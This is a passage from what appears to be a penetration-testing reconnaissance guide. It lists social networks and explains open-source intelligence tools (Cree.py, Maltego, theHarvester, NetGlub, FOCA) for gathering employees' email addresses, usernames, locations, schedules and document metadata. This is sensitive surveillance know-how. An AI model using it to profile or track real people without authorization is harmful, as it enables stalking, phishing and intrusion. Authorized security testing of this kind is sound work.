Classmates.com	http://www.classmates.com (http://www.classmates.com/)	School, college, work and the military
Cloob	http://www.cloob.com (http://www.cloob.com/)	General. Popular in Iran
CouchSurfing	http://www.couchsurfing.org (http://www.couchsurfing.org/)	Worldwide network for making connections between travelers and the local communities they visit.
CozyCot	http://www.cozycot.com (http://www.cozycot.com/)	East Asian and Southeast Asian women
Cross.tv	http://www.cross.tv (http://www.cross.tv/)	Faith Based social network for Christian believers from around the world

Crunchyroll	http://www.crunchyroll.com (http://www.crunchyroll.com/)	Anime and forums.
Cyworld	(Korea) http://cyworld.co.kr (http://cyworld.co.kr/) (China) http://www.cyworld.com.cn (http://www.cyworld.com.cn/)	General. Popular in South Korea.
DailyBooth	http://dailybooth.com (http://dailybooth.com/)	Photo-blogging site where users upload a photo every day
DailyStrength	http://www.dailystrength.org (http://www.dailystrength.org/)	Medical & emotional support community - Physical health, Mental health, Support groups
Decayenne	http://www.decayenne.com (http://www.decayenne.com/)	European and American social elite
delicious	http://www.delicious.com (http://www.delicious.com/)	Social bookmarking allowing users to locate and save websites that match their own interests
deviantART	http://www.deviantart.com (http://www.deviantart.com/)	Art community
Disaboom	http://www.disaboom.com (http://www.disaboom.com/)	People with disabilities (Amputee, cerebral palsy, MS, and other disabilities)
Dol2day	http://www.dol2day.de (http://www.dol2day.de/)	Politic community, Social network, Internet radio (German-speaking countries)
DontStayIn	http://www.dontstayin.com (http://www.dontstayin.com/)	Clubbing (primarily UK)
Draugiem.lv	http://www.draugiem.lv (http://www.draugiem.lv/)	General (primarily LV, LT, HU)
douban	http://www.douban.com (http://www.douban.com/)	Chinese Web 2.0 website providing user review and recommendation services for movies, books, and music. It is also the largest online Chinese language book, movie and music database and one of the largest online communities in China.
Elftown	http://www.elftown.com (http://www.elftown.com/)	Community and wiki around Fantasy and sci-fi.
Entitycube	http://entitycube.research.microsoft.com (http://entitycube.research.microsoft.com/)	
Eons.com	http://www.eons.com (http://www.eons.com/)	For baby boomers

Epernicus	http://www.epernicus.com (http://www.epernicus.com/)	For research scientists
Experience Project	http://www.experienceproject.com (http://www.experienceproject.com/)	Life experiences
Exploroo	http://www.exploroo.com (http://www.exploroo.com/)	Travel Social Networking.
Facebook	(IPv4) http://www.facebook.com (http://www.facebook.com/) (IPv6) http://www.v6.facebook.com (http://www.v6.facebook.com/)	General.
Faceparty	http://www.faceparty.com (http://www.faceparty.com/)	General. Popular UK.
Faces.com	http://www.face-pic.com (http://www.face-pic.com/) http://www.faces.com (http://www.faces.com/)	British teens
Fetlife	http://fetlife.com (http://fetlife.com/)	People who are into BDSM
FilmAffinity	http://www.filmaffinity.com (http://www.filmaffinity.com/)	Movies and TV Series
FitFinder	http://www.thefitfinder.co.uk (http://www.thefitfinder.co.uk/)	Anonymous UK Student Microblogging Website
FledgeWing	http://www.fledgewing.com (http://www.fledgewing.com/)	Entrepreneural community targeted towards worldwide university students
Flixster	http://www.flixster.com (http://www.flixster.com/)	Movies
Flickr	http://www.flickr.com (http://www.flickr.com/)	Photo sharing, commenting, photography related networking, worldwide
Focus.com	http://www.focus.com (http://www.focus.com/)	Business to Business, worldwide
Folkdirect	http://www.folkdirect.com (http://www.folkdirect.com/)	General
Fotki	http://www.fotki.com (http://www.fotki.com/)	Photo sharing, video hosting, photo contests, journals, forums, flexible privacy protection, friend's feed, audio comments and unlimited custom design integration.
Fotolog	http://www.fotolog.com (http://www.fotolog.com/)	Photoblogging. Popular in South America and Spain
Foursquare	http://foursquare.com (http://foursquare.com/)	Location based mobile social network

Friends Reunited	http://www.friendsreunited.com (http://www.friendsreunited.com/)	UK based. School, college, work, sport and streets
Friendster	http://www.friendster.com (http://www.friendster.com/)	General. Popular in Southeast Asia. No longer popular in the western world
Fr¸hst¸ckstreff	http://www.fruehstueckstreff.de (http://www.fruehstueckstreff.de/)	General
Fubar	http://www.fubar.com (http://www.fubar.com/)	dating, an "online bar" for 18 and older
Gaia Online	http://www.gaiaonline.com (http://www.gaiaonline.com/)	Anime and games. Popular in USA, Canada and Europe. Moderately popular around Asia.
GamerDNA	http://www.gamerdna.com (http://www.gamerdna.com/)	Computer and video games
Gather.com	http://home.gather.com (http://home.gather.com/)	Article, picture, and video sharing, as well as group discussions
Gays.com	http://gays.com (http://gays.com/)	Social network for LGBT community, Guide for LGBT bars, restaurants, clubs, shopping
Geni.com	http://www.geni.com (http://www.geni.com/)	Families, genealogy
Gogoyoko	http://www.gogoyoko.com (http://www.gogoyoko.com/)	Fair play in Music - Social networking site for musicians and music lovers
Goodreads	http://www.goodreads.com (http://www.goodreads.com/)	Library cataloging, book lovers
Goodwizz	http://www.goodwizz.com (http://www.goodwizz.com/)	Social network with matchmaking and personality games to find new contacts. Global, based in France.
Google Buzz	http://www.google.com/buzz (http://www.google.com/buzz)	General
Google+	http://plus.google.com (http://plus.google.com/)	General
GovLoop	http://www.govloop.com (http://www.govloop.com/)	For people in and around government
Gowalla	http://gowalla.com (http://gowalla.com/)	
Grono.net	http://grono.net (http://grono.net/)	Poland
Habbo	http://www.habbo.com (http://www.habbo.com/)	General for teens. Over 31 communities worldwide. Chat Room and user profiles.

hi5	http://hi5.com (http://hi5.com/)	General. Popular in India, Mongolia, Thailand, Romania, Jamaica, Central Africa, Portugal and Latin America. Not very popular in the USA.
Hospitality Club	http://www.hospitalityclub.org (http://www.hospitalityclub.org/)	Hospitality
Hotlist	http://www.thehotlist.com (http://www.thehotlist.com/)	Geo-Social Aggregator rooted in the concept of knowing where your friends are, were, and will be.
HR.com	http://www.hr.com (http://www.hr.com/)	Social networking site for Human Resources professionals
Hub Culture	http://www.hubculture.com (http://www.hubculture.com/)	Global influencers focused on worth creation
Hyves	http://www.hyves.nl (http://www.hyves.nl/)	General, Most popular in the Netherlands.
Ibibo	http://www.ibibo.com (http://www.ibibo.com/)	Talent based social networking site that allows to promote one's self and also discover new talent. Most popular in India.
Identi.ca	http://identi.ca (http://identi.ca/)	Twitter-like service popular with hackers and software freedom advocates.
Indaba Music	http://www.indabamusic.com (http://www.indabamusic.com/)	Online collaboration for musicians, remix contests, and networking.
IRC-Galleria	http://www.irc-galleria.net (http://www.irc-galleria.net/)	Finland
italki.com	http://www.italki.com (http://www.italki.com/)	Language learning social network. 100+ languages.
InterNations	http://www.internations.org (http://www.internations.org/)	International community
Itsmy	http://mobile.itsmy.com (http://mobile.itsmy.com/)	Mobile community worldwide, blogging, friends, personal TV-shows
iWiW	http://iwiw.hu (http://iwiw.hu/)	Hungary
Jaiku	http://www.jaiku.com (http://www.jaiku.com/)	General. Microblogging. Owned by Google
JammerDirect.com	http://www.jammerdirect.com (http://www.jammerdirect.com/)	Network for unsigned artists
kaioo	http://www.kaioo.com (http://www.kaioo.com/)	General, nonprofit
Kaixin001	http://www.kaixin001.com (http://www.kaixin001.com/)	General. In Simplified Chinese; caters for mainland China users

Kiwibox	http://www.kiwibox.com (http://www.kiwibox.com/)	General. For the users, by the users, a social network that is more than a community.
Lafango	http://lafango.com (http://lafango.com/)	Talent-Focused media sharing site
Last.fm	http://www.last.fm (http://www.last.fm/)	Music
LibraryThing	http://www.librarything.com/ (http://www.librarything.com/) (German) http://www.librarything.de (http://www.librarything.de/)	Book lovers
Lifeknot	http://www.lifeknot.com (http://www.lifeknot.com/)	Shared interests, hobbies
LinkedIn	http://www.linkedin.com (http://www.linkedin.com/)	Business and professional networking
LinkExpats	http://www.linkexpats.com (http://www.linkexpats.com/)	Social networking website for expatriates. 100+ countries.
Listography	http://listography.com (http://listography.com/)	Lists. Autobiography
LiveJournal	http://www.livejournal.com (http://www.livejournal.com/)	Blogging. Popular in Russia and among the Russian-speaking diaspora abroad.
Livemocha	http://www.livemocha.com (http://www.livemocha.com/)	Online language learning - dynamic online courses in 35 languages - world's largest community of native language speakers.
LunarStorm	http://www.lunarstorm.se (http://www.lunarstorm.se/)	Sweden
MEETin	http://www.meetin.org (http://www.meetin.org/)	General
Meetup.com	http://www.meetup.com (http://www.meetup.com/)	General. Used to plan offline meetings for people interested in various activities
Meettheboss	http://www.meettheboss.tv (http://www.meettheboss.tv/)	Business and Finance community, worldwide.
Mixi	http://www.mixi.jp (http://www.mixi.jp/)	Japan
mobikade	http://www.mkade.com (http://www.mkade.com/)	mobile community, UK only
MocoSpace	http://www.mocospace.com (http://www.mocospace.com/)	mobile community, worldwide

MOG	http://www.mog.com (http://www.mog.com/)	Music
MouthShut.com	http://www.mouthshut.com (http://www.mouthshut.com/)	Social Network, social media, consumer reviews
Mubi (website)	http://mubi.com (http://mubi.com/)	Auteur cinema
Multiply	http://multiply.com (http://multiply.com/)	Real world relationships. Popular in primarily in Asia.
Muxlim	http://muxlim.com (http://muxlim.com/)	Muslim portal site
MyAnimeList	http://www.myanimelist.net (http://www.myanimelist.net/)	Anime themed social community
MyChurch	http://www.mychurch.org (http://www.mychurch.org/)	Christian Churches
MyHeritage	http://www.myheritage.com (http://www.myheritage.com/)	family-oriented social network service
MyLife	http://www.mylife.com (http://www.mylife.com/)	Locating friends and family, keeping in touch (formerly Reunion.com)
My Opera	http://my.opera.com (http://my.opera.com/)	Blogging, mobile blogging, photo sharing, connecting with friends, Opera Link and Opera Unite. Global
Myspace	http://www.myspace.com (http://www.myspace.com/)	General
myYearbook	http://www.myyearbook.com (http://www.myyearbook.com/)	General, Charity
Nasza-klasa.pl	http://www.nk.pl (http://www.nk.pl/)	School, college and friends. Popular in Poland
Netlog	http://www.netlog.com (http://www.netlog.com/)	General. Popular in Europe, Turkey, the Arab World and Canada's QuÈbec province. Formerly known as Facebox and Redbox.
Nettby	http://www.nettby.no (http://www.nettby.no/)	Norwegian Community
Nexopia	http://www.nexopia.com (http://www.nexopia.com/)	Canada
NGO Post	http://www.ngopost.org (http://www.ngopost.org/)	Non-Profit news sharing and networking, mainly in India
Ning	http://www.ngopost.org (http://www.ngopost.org/)	Users create their own social websites and social networks
Odnoklassniki	http://odnoklassniki.ru (http://odnoklassniki.ru/)	Connect with old classmates. Popular in Russia and former Soviet republics

OneClimate	http://www.oneclimate.net (http://www.oneclimate.net/)	Not for Profit Social networking and Climate Change
OneWorldTV	http://tv.oneworld.net (http://tv.oneworld.net/)	Not for Profit Video sharing and social networking aimed at people interested in social issues, development, environment, etc.
Open Diary	http://www.opendiary.com (http://www.opendiary.com/)	First online blogging community, founded in 1998
Orkut	http://orkut.com (http://orkut.com/)	General. Owned by Google Inc. Popular in India and Brazil.
OUTeverywhere	http://www.outeverywhere.com (http://www.outeverywhere.com/)	Gay/LGBTQ Community
Passportstamp	http://www.passportstamp.com (http://www.passportstamp.com/)	Travel
Partyflock	http://partyflock.nl (http://partyflock.nl/)	Dutch virtual community for people interested in house music and other electronic dance music. Since 2001, Partyflock has evolved into the biggest online community for the dance scene in the Netherlands
Picasa	http://picasa.google.com (http://picasa.google.com/)	
PicFog	http://picfog.com (http://picfog.com/)	PicFog shows pictures from twitter *as* they're posted
Pingsta	http://www.pingsta.com (http://www.pingsta.com/)	Collaborative platform for the world's Internetwork Experts
Plaxo	http://www.plaxo.com (http://www.plaxo.com/)	Aggregator
Playahead	http://www.playahead.se (http://www.playahead.se/)	Swedish, Danish teenagers
Playlist.com	http://www.playlist.com (http://www.playlist.com/)	General, Music
Plurk	http://www.plurk.com (http://www.plurk.com/)	Micro-blogging, RSS, updates. Very popular in Taiwan
Present.ly	http://www.presently.com (http://www.presently.com/)	Enterprise social networking and micro-blogging
Qapacity	http://www.qapacity.com (http://www.qapacity.com/)	A a business-oriented social networking site and a business directory
Quechup	http://quechup.com (http://quechup.com/)	General, friendship, dating

Qzone	http://qzone.qq.com (http://qzone.qq.com/)	General. In Simplified Chinese; caters for mainland China users
Raptr	http://raptr.com (http://raptr.com/)	Video games
Ravelry	http://www.ravelry.com (http://www.ravelry.com/)	Knitting and crochet
Renren	http://renren.com (http://renren.com/)	Significant site in China.
ResearchGate	http://researchgate.net (http://researchgate.net/)	Social network for scientific researchers
ReverbNation.com	http://www.reverbnation.com (http://www.reverbnation.com/)	Social network for musician and bands
Ryze	http://www.ryze.com (http://www.ryze.com/)	Business
ScienceStage	http://sciencestage.com (http://sciencestage.com/)	Science-oriented multimedia platform and network for scientists
Scispace.net	http://scispace.net (http://scispace.net/)	Collaborative network site for scientists
ShareTheMusic	http://www.sharethemusic.com (http://www.sharethemusic.com/)	Music Community. Sharing and listening to music for free and legally
Shelfari	http://www.shelfari.com (http://www.shelfari.com/)	Books
Skyrock	http://skyrock.com (http://skyrock.com/)	Social Network in French-speaking world
Social Life	http://www.sociallife.com.br (http://www.sociallife.com.br/)	Brazilian jet set and social elite world-wide
SocialVibe	http://www.socialvibe.com (http://www.socialvibe.com/)	Social Network for Charity
Sonico.com	http://www.sonico.com (http://www.sonico.com/)	General. Popular in Latin America and Spanish and Portuguese speaking regions.
Stickam	http://www.stickam.com (http://www.stickam.com/)	Live video streaming and chat.
StudiVZ	http://www.studivz.net (http://www.studivz.net/)	University students, mostly in the German-speaking countries. School students and those out of education sign up via its partner sites sch¸lerVZ and meinVZ.
StumbleUpon	http://www.stumbleupon.com (http://www.stumbleupon.com/)	Stumble through websites that match your selected interests
Tagged	http://www.tagged.com (http://www.tagged.com/)	General. Subject to quite some controversy about its e-mail marketing and privacy policy

Talkbiznow	http://www.talkbiznow.com (http://www.talkbiznow.com/)	Business networking
Taltopia	http://www.taltopia.com (http://www.taltopia.com/)	Online artistic community
Taringa!	http://www.taringa.net (http://www.taringa.net/)	General
TeachStreet	http://www.teachstreet.com (http://www.teachstreet.com/)	Education / Learning / Teaching - More than 400 subjects
TravBuddy.com	http://www.travbuddy.com (http://www.travbuddy.com/)	Travel
Travellerspoint	http://www.travellerspoint.com (http://www.travellerspoint.com/)	Travel
tribe.net	http://www.tribe.net (http://www.tribe.net/)	General
Trombi.com	http://www.trombi.com (http://www.trombi.com/)	French subsidiary of Classmates.com
Tuenti	http://www.tuenti.com (http://www.tuenti.com/)	Spanish-based university and High School social network. Very Popular in Spain
Tumblr	http://www.tumblr.com (http://www.tumblr.com/)	General. Micro-blogging, RSS
Twitter	http://twitter.com (http://twitter.com/)	General. Micro-blogging, RSS, updates
twitpic	http://twitpic.com (http://twitpic.com/)	
Vkontakte	http://vkontakte.ru/ (http://vkontakte.ru/)	Social Network for Russian-speaking world including former Soviet republics. Biggest site in Russia
Vampirefreaks.com	http://www.vampirefreaks.com (http://www.vampirefreaks.com/)	Gothic and industrial subculture
Viadeo	http://www.viadeo.com (http://www.viadeo.com/)	Global Social Networking and Campus Networking available in English, French, German, Spanish, Italian and Portuguese
Virb	http://www.virb.com (http://www.virb.com/)	Social network that focuses heavily on artists, including musicians and photographers
Vox	http://www.vox.com (http://www.vox.com/)	Blogging
Wakoopa	http://social.wakoopa.com (http://social.wakoopa.com/)	For computer fans that want to discover new software and games

Wattpad	http://www.wattpad.com (http://www.wattpad.com/)	For readers and authors to interact & e-book sharing
Wasabi	http://www.wasabi.com (http://www.wasabi.com/)	General. UK-based.
WAYN	http://www.wayn.com (http://www.wayn.com/)	Travel and lifestyle
WebBiographies	http://www.webbiographies.com (http://www.webbiographies.com/)	Genealogy and biography
WeeWorld	http://www.weeworld.com (http://www.weeworld.com/)	Teenagers - 10 to 17
WeOurFamily	http://www.weourfamily.com (http://www.weourfamily.com/)	General with emphasis on privacy and security
Wer-kennt-wen	http://www.wer-kennt-wen.de (http://www.wer-kennt-wen.de/)	General
weRead	http://weread.com (http://weread.com/)	Books
Windows Live Spaces	http://spaces.live.com (http://spaces.live.com/)	Blogging (formerly MSN Spaces)
WiserEarth	http://www.wiserearth.org (http://www.wiserearth.org/)	Online community space for the social justice and environmental movement
Wordpress	http://wordpress.org (http://wordpress.org/)	
WorldFriends	http://www.worldfriends.tv (http://www.worldfriends.tv/)	
Xanga	http://www.xanga.com (http://www.xanga.com/)	Blogs and "metro" areas
XING	http://www.xing.com (http://www.xing.com/)	Business (primarily Europe (Germany, Austria, Switzerland) and China)
Xt3	http://www.xt3.com (http://www.xt3.com/)	Catholic social networking, created after World Youth Day 2008
Yammer	http://www.yammer.com (http://www.yammer.com/)	Social networking for office colleagues
Yelp, Inc.	http://www.yelp.com (http://www.yelp.com/)	Local Business Review and Talk
Yfrog	http://yfrog.com (http://yfrog.com/)	
Youmeo	http://youmeo.com (http://youmeo.com/)	UK Social Network (focus on data portability)
Zoo.gr	http://www.zoo.gr (http://www.zoo.gr/)	Greek Web Meeting point

Zooppa	http://zooppa.com (http://zooppa.com/)	Online Community for Creative Talent (host of brand sponsored advertising contests)

Tone and Frequency

Identifying an employee's tone and frequency of postings can be a critical indicator of a disgruntled employee as well as the corporate acceptance of social networking. While time consuming it is possible to establish an employee's work schedule and vacation periods.

Location awareness

Most social networking sites offer the ability to include geolocation information in postings. This information can be useful in identifying exactly where the person was physically located when a posting was made. In addition, it is possible that geolocation information is included in images that are uploaded to social networking sites. It is possible that the user may be savy enough to turn this off, however, sometimes it's just as simple as reading a post that indicates exactly where they're located.

Cree.py

Cree.py is Beta tool that is used to automate the task of information gathering from Twitter as well as FourSquare. In addition, Cree.py can gather any geolocation data from flickr, twitpic.com, yfrog.com, img.ly, plixi.com, twitrpix.com, foleext.com, shozu.com, pickhur.com, moby.to, twitsnaps.com and twitgoo.com. Cree.py is an open source intelligence gathering application. To install Cree.py, you will need to add a repository to your /etc/apt/sources.list.

```
echo "deb http://people.dsv.su.se/~kakavas/creepy/ binary/" >> /etc/apt/sources.list
```

Update package list

```
apt-get update
```

Install creepy

```
apt-get install creepy
```

Cree.py Interface

Cree.py is primarily targeting geolocation related information about users from social networking platforms and image hosting services. The information is presented in a map inside the application where all the retrieved data is shown accompanied with relevant information (i.e. what was posted from that specific location) to provide context to the presentation.

Cree.py Interface

Internet Footprint

Internet Footprinting is where we attempt to gather externally available information about the target infrastructure that we can leveraged in later phases.

Email addresses

Gathering email addresses while seemingly useless can provide us with valuable information about the target environment. It can provide information about potential naming conventions as well as potential targets for later use. There are many tools that can be used to gather email addresses, Maltego for example.

Maltego

Paterva Maltego (http://www.paterva.com/) is used to automate the task of information gathering. Maltego is an open source intelligence and forensics application. Essentially, Maltego is a data mining and information-gathering tool that maps the information gathered into a format that is easily understood and manipulated. It saves you time by automating tasks such as email harvesting and mapping subdomains. The documentation of Maltego is relatively sparse so we are including the procedures necessary to obtain the data required.

Once you have started Maltego, the main interface should be visible. The six main areas of the interface are the toolbar, the Palette, graph(view) area, overview area, the detailed area, and the property area.

Screenshot Here

Here is a suggested workflow to get you started, consider it a training exercise rather than absolute since you will want to customize your workflow depending on your engagement.

To start, look to the very upper left-hand corner of Maltego and click the "new graph" button. After that, drag the "domain" item out of the palette onto the graph. The graph area allows you to process the transforms as well as view the data in either the mining view, dynamic view, edge weighted view as well as the entity list. When you first add the domain icon to your graph, it will default to "paterva.com" double-click on that icon and change the name to your target's domain(without any subdomain such as www). Now you are ready to start mining.

1. Right click(or double-click) on the domain icon and from "run transform" select the "To Website DNS[using search engine]". This will hopefully result in all of the subdomains for your target showing up.
2. Select all of the subdomains and run the "To IP Address [DNS] transform". This should resolve all of the subdomains to their respective IP Addresses.
Screenshot Here
3. From this point you could chose a couple different paths depending on the size of your target but a logical next step is to determine the netblocks so run the "To Netblock [Using natural boundaries]" transform.

After this point, you should be able to use your imagination as to where to go next. You will be able to cultivate phone numbers, email addresses, geo location information and much more by using the transforms provided. The Palette contains all the transforms that are available (or activated) for use. As of this writing, there are approximately 72 transforms. One limitation of the "Community Edition" of Maltego is that any given transform will only return 12 results whereas the professional version doesn't have any limitations.

Resist the temptation to run "all transforms" since this will likely overload you with data and inhibit your ability to drill down to the most interesting pieces of data that are relevant to your engagement.

Maltego is not just limited to the pre-engagement portion of your pentest. You can also import csv/xls dumps of your airodump results back into Maltego to help you visualize the networks.

TheHarvester

TheHarvester is a tool, written by Christian Martorella, that can be used to gather e-mail accounts and subdomain names from different public sources (search engines, pgp key servers). Is a really simple tool, but very effective.

```
root@pentest:/pentest/enumeration/theharvester# ./theHarvester.py

************************************
*TheHarvester Ver. 1.6             *
*Coded by Christian Martorella      *
*Edge-Security Research             *
*cmartorella@edge-security.com      *
************************************


Usage: theharvester options

       -d: domain to search or company name
       -b: data source (google,bing,pgp,linkedin)
       -s: start in result number X (default 0)
       -v: verify host name via dns resolution
       -l: limit the number of results to work with(bing goes from 50 to 50 results,
```

```
            google 100 to 100, and pgp doesn't use this option)

Examples:./theharvester.py -d microsoft.com -l 500 -b google
         ./theharvester.py -d microsoft.com -b pgp
         ./theharvester.py -d microsoft -l 200 -b linkedin
```

TheHarvester will search the specified data source and return the results. This should be added to the OSINT document for use at a later stage.

```
root@pentest:/pentest/enumeration/theharvester# ./theHarvester.py -d client.com -b google -l 500

************************************
*TheHarvester Ver. 1.6             *
*Coded by Christian Martorella      *
*Edge-Security Research             *
*cmartorella@edge-security.com      *
************************************

Searching for client.com in google :

====================================


Limit: 500
Searching results: 0
Searching results: 100
Searching results: 200
Searching results: 300
Searching results: 400

Accounts found:
====================
admin@client.com
nick@client.com
jane@client.com
sarah@client.com
```

NetGlub

NetGlub is an open source tool that is very similar to Maltego. NetGlub is a data mining and information-gathering tool that presents the information gathered in a format that is easily understood. The documentation of NetGlub is nonexistent at the moment so we are including the procedures necessary to obtain the data required.

Installing NetGlub is not a trivial task, but one that can be accomplished by running the following:

```
apt-get install build-essential mysql-server libmysqlclient-dev zlib1g-dev libperl-dev libnet-ip-perl libopenssl-
ruby ruby-dev ruby omt php5-cli nmap libnet-dns-perl libnet-ip-perl python-dev
wget http://pypi.python.org/packages/source/s/simplejson/simplejson-2.1.5.tar.gz
tar -xzvf simplejson-2.1.5.tar.gz
cd simplejson-2.1.5
python2.7 setup.py build
python2.7 setup.py install
cd ..
wget http://sourceforge.net/projects/pyxml/files/pyxml/0.8.4/PyXML-0.8.4.tar.gz
tar -xvzf PyXML-0.8.4.tar.gz
cd PyXML-0.8.4
wget http://launchpadlibrarian.net/31786748/0001-Patch-for-Python-2.6.patch
patch -p1 < 0001-Patch-for-Python-2.6.patch
python setup.py install
cd /pentest/enumeration
```

At this point we're going to use a GUI installation of the QT-SDK. The main thing to point out here is that the installation path needs to be changed during the installation to reflect /opt/qtsdk. If you use a different path, then you will need to update the paths in the script below to reflect that difference.

Note that during the QT-SDK installation we are reminded for external dependencies, so make sure we run "apt-get install libglib2.0-dev libSM-dev libxrender-dev libfontconfig1-dev libxext-dev".

```
wget http://blog.hynesim.org/ressources/install/qt-sdk-linux-x86-opensource-2010.03.bin
chmod +x qt-sdk-linux-x86-opensource-2010.03.bin
./qt-sdk-linux-x86-opensource-2010.03.bin
wget http://www.graphviz.org/pub/graphviz/stable/SOURCES/graphviz-2.26.3.tar.gz
```

```
tar -xzvf graphviz-2.26.3.tar.gz
cd graphviz-2.26.3
./configure
make
make install
cd /pentest/enumeration
wget http://redmine.lab.diateam.net/attachments/download/1/netglub-1.0.tar.gz
tar -xzvf netglub-1.0.tar.gz
mv netglub-1.0 netglub
cd /pentest/enumeration/netglub/qng/
/opt/qtsdk/qt/bin/qmake
make
```

Now we need to start MySQL and create the netglub database

```
start mysql
mysql -u root -ptoor

create database netglub;
use netglub;
create user "netglub"@"localhost";
set password for "netglub"@"localhost" = password("netglub");
GRANT ALL ON netglub.* TO "netglub"@"localhost";
quit

mysql -u root -ptoor netglub < /pentest/enumeration/netglub/master/tools/sql/netglub.sql

cd /opt/qtsdk/qt/src/plugins/sqldrivers/mysql/
/opt/qtsdk/qt/bin/qmake INCLUDEPATH+=/usr/include/mysql/
make
cp /opt/qtsdk/qt/src/plugins/sqldrivers/mysql/libqsqlmysql.so /opt/qtsdk/qt/plugins/sqldrivers/.
cd /pentest/enumeration/netglub/master
/opt/qtsdk/qt/bin/qmake
make
cd tools/
./install.sh
cd /pentest/enumeration/netglub/slave
/opt/qtsdk/qt/bin/qmake
make
cd tools/
./install.sh
wget http://sourceforge.net/projects/xmlrpc-c/files/Xmlrpc-c%20Super%20Stable/1.16.34/xmlrpc-c-1.16.34.tgz/
download
tar -zxvf xmlrpc-c-1.16.34.tgz
cd xmlrpc-c-1.16.34
./configure
make
make install
```

Once you have installed NetGlub, you'll probably be interested in running it. This is really a four step process: Ensure that MySQL is running:

```
start mysql
```

Start the NetGlub Master:

```
/pentest/enumeration/netglub/master/master
```

Start the NetGlub Slave:

```
/pentest/enumeration/netglub/slave/slave
```

Start the NetGlub GUI:

```
/pentest/enumeration/netglub/qng/bin/unix-debug/netglub
```

Now the main interface should be visible. If you are familiar with Maltego, then you will feel right at home with the interface. The six main areas of the interface are the toolbar, the Palette, graph, (or view) area, details, and the property

area.

Screenshot Here

A complete list of all the transforms that are available (or activated) for use. As of this writing, there are approximately 33 transforms. A transform is script that will actually perform the action against a given site.

Screenshot Here

The graph area allows you to process the transforms as well as view the data in either the mining view, dynamic view, edge weighted view as well as the entity list. The overview area provides a mini-map of the entities discovered based upon the transforms. The detail area is where it is possible to drill into the specifics of the entity. It is possible to view such things as the relationships, as well as details of how the information was generated. The property area allows you to see the specific properties of the transform populated with the results specific to the entity. To begin using NetGlub we need to drag and drop a transform from the Palette to the Graph Area. By default, this will be populated with dummy data. To edit the entity within the selected transform, do so by editing the entries within the property view.

We first need to determine the Internet infrastructure such as Domains. To perform this we will drag and drop the Domain transform to the graph area. Edit the transform to reflect the appropriate domain name for the client. It is possible to collect nearly all the data that we will initially require by clicking on Run All Transforms.

The data from these entities will be used to obtain additional information. Within the graph area the results will be visible as illustrated below.

Screenshot Here

Selecting the entities and choosing to run additional transforms the data collected will expand. If a particular transform has not be used that you want to collect data from, simply drag it to the graph area and make the appropriate changes within the property view.

There will be some information that you will need to enter to ensure that NetGlub functions properly. For example, you will need to enter in DNS servers which to query. In addition, you will be asked to provide your Alchemy and Open calais API keys.

For Alchemy, you will need to go to http://www.alchemyapi.com/api/register.html (http://www.alchemyapi.com/api/register.html) to receive your own API key. For Open calais, you will need to go to http://www.opencalais.com/APIkey (http://www.opencalais.com/APIkey) to receive your own API key.

Usernames/Handles

Identifying usernames and handles that are associated with a particular email is useful as this might provide several key pieces of information. For instance, it could provide a significant clue for username and passwords. In addition, it can also indicate a particular individual's interest outside of work. A good place to location this type of information is within discussion groups (Newsgroups, Mailing lists, forums, chat rooms, etc.).

Social Networks

- Check Usernames (http://www.checkusernames.com/) - Useful for checking the existence of a given username across 160 Social Networks.

Newsgroups

- Google (http://www.google.com/) - http://www.google.com (http://www.google.com/)
- Yahoo Groups (http://groups.yahoo.com/) - http://groups.yahoo.com (http://groups.yahoo.com/)
- Delphi Forums (http://www.delphiforums.com/) - http://www.delphiforums.com (http://www.delphiforums.com/)

- Big Boards (http://www.big-boards.com/) - http://www.big-boards.com (http://www.big-boards.com/)

Mailing Lists

- TILE.Net - http://tile.net/lists (http://tile.net/lists)
- Topica - http://lists.topica.com (http://lists.topica.com/)
- L-Soft CataList, the Official Catalog of LISTSERV lists - http://www.lsoft.com/lists/listref.html (http://www.lsoft.com/lists/listref.html)
- The Mail Archive - http://www.mail-archive.com (http://www.mail-archive.com/)

Chat Rooms

- SearchIRC - http://searchirc.com (http://searchirc.com/)
- Gogloom - http://www.gogloom.com (http://www.gogloom.com/)

Forums Search

- BoardReader - http://boardreader.com (http://boardreader.com/)
- Omgili - http://www.omgili.com (http://www.omgili.com/)

Personal Domain Names

The ability to locate personal domains that belong to target employees can yield additional information such as potential usernames and passwords. In addition, it can also indicate a particular individual's interest outside of work.

Personal Activities

It is not uncommon for individuals to create and publish audio files and videos. While these may be seem insignificant, they can yield additional information about a particular individual's interest outside of work.

Audio

- iTunes - http://www.apple.com/itunes (http://www.apple.com/itunes)
- Podcast.com - http://podcast.com (http://podcast.com/)
- Podcast Directory - http://www.podcastdirectory.com (http://www.podcastdirectory.com/)
- Yahoo! Audio Search - http://audio.search.yahoo.com (http://audio.search.yahoo.com/)

Video

- YouTube - http://youtube.com (http://youtube.com/)
- Yahoo Video - http://video.search.yahoo.com (http://video.search.yahoo.com/)
- Google Video - http://video.google.com (http://video.google.com/)
- Bing Video - http://www.bing.com/videos (http://www.bing.com/videos)

Archived Information

There are times when we will be unable to access web site information due to the fact that the content may no longer

be available from the original source. Being able to access archived copies of this information allows access to past information. There are several ways to access this archived information. The primary means is to utilize the cached results under Google's cached results. As part of an NVA, it is not uncommon to perform Google searches using specially targeted search strings:
cache:<site.com>

Note: Replace <site.com> with the name of the domain that you wish to perform the search on.

An additional resource for archived information is the Wayback Machine (http://www.archive.org).

Screenshot Here

Electronic Data

Collection of electronic data in direct response to reconnaissance and intelligence gathering should be focused on the target business or individual.

Document leakage

Publicly available documents should be gathered for essential data (date, time, location specific information, language, and author). Data collected could provide insight into the current environment, operational procedures, employee training, and human resources.

Metadata leakage

Identifying Metadata is possible using specialized search engine. The goal is to identify data that is relevant to the target corporation. It may be possible to identify locations, hardware, software and other relevant data from Social Networking posts. Some search engines that provide the ability to search for Metadata are as follows:

- ixquick - http://ixquick.com (http://ixquick.com/)
- MetaCrawler - http://metacrawler.com (http://metacrawler.com/)
- Dogpile - http://www.dogpile.com (http://www.dogpile.com/)
- Search.com - http://www.search.com (http://www.search.com/)
- Jeffery's Exif Viewer - http://regex.info/exif.cgi (http://regex.info/exif.cgi)

In addition to search engines, several tools exist to collect files and gather information from various documents.

FOCA (Windows)

FOCA is a tool that reads metadata from a wide range of document and media formats. FOCA pulls the relevant usernames, paths, software versions, printer details, and email addresses. This can all be performed without the need to individually download files.

Foundstone SiteDigger (Windows)

Foundstone has a tool, named SiteDigger, which allows us to search a domain using specially strings from both the Google Hacking Database (GHDB) and Foundstone Database (FSDB). This allows for slightly over 1640 potential queries available to discover additional information.
Screenshot Here

